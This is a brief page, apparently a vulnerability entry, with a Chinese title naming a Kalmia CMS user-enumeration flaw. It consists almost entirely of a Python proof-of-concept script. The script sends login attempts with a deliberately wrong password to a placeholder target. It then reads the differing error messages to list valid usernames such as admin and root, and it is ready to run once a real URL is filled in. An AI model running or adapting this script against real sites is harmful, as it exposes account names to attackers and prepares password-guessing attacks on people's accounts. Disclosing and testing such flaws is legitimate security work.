CVE-2025-65899 Kalmia CMS 用户枚举漏洞

import requests import sys # CVE-2025-65899 PoC - Kalmia CMS User Enumeration # This script demonstrates the user enumeration vulnerability TARGET_URL = "http://target-site.com/api/auth/login" # Replace with actual target def enumerate_users(username_list): """ Enumerate valid usernames against Kalmia CMS authentication endpoint """ valid_users = [] for username in username_list: payload = { "username": username, "password": "wrong_password" # Intentionally wrong password } try: response = requests.post(TARGET_URL, json=payload, timeout=10) # Check response for user enumeration indicators if "invalid_password" in response.text.lower(): print(f"[+] VALID USER FOUND: {username}") valid_users.append(username) elif "user_not_found" in response.text.lower(): print(f"[-] User not found: {username}") else: print(f"[*] Unknown response for: {username}") except requests.RequestException as e: print(f"[!] Error testing {username}: {str(e)}") return valid_users def main(): # Example username list test_users = ["admin", "user", "test", "administrator", "root"] print("[*] Starting user enumeration for CVE-2025-65899") print(f"[*] Target: {TARGET_URL}") print("-" * 50) valid = enumerate_users(test_users) print("-" * 50) print(f"[*] Enumeration complete. Found {len(valid)} valid users.") if __name__ == "__main__": main()